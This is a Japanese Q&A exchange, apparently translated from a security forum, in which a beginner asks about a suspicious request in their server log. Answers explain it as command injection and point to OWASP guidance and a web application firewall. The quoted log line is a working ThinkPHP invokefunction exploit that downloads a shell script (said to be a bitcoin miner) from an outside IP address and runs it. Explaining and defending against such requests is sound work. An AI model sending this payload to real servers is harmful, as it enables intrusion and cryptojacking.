私はセキュリティについてほとんど経験がありません(まだ学習中です)が、ログをくまなく調べていて、次の要求に気付きました。
"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
さて、これは、誰かが私のファイルのアクセス許可を変更しようとしていることを知らせるchmod 777
を除いて、最初はまったく意味がありませんでした。
私の質問は、これはどのような種類の攻撃であり、それを防ぐためにどのような手順を実行できるかです。
コマンドインジェクション攻撃 であり、
目標は、脆弱なアプリケーションを介してホストオペレーティングシステム上で任意のコマンドを実行することです。アプリケーションが安全でないユーザー提供のデータ(フォーム、Cookie、HTTPヘッダーなど)をシステムシェルに渡すと、コマンドインジェクション攻撃が可能になります。この攻撃では、攻撃者が提供するオペレーティングシステムコマンドは通常、脆弱なアプリケーションの権限で実行されます。コマンドインジェクション攻撃は、主に入力検証が不十分なために発生する可能性があります。
この種の攻撃を緩和または回避するには、次のような多くの戦略があります。
前に述べたように、これは.shスクリプトをダウンロードし、実行する権限を付与して実行するコマンドインジェクション攻撃です。この場合のスクリプトはビットコインマイナーです。
Webアプリケーションが安全であることを保証するためにSoufianeに従うべきOWASPガイドの推奨事項ですが、追加のセキュリティ層のために、サーバープロセスに到達する前にこれらのような要求をブロックするWebアプリケーションファイアウォールを使用できます。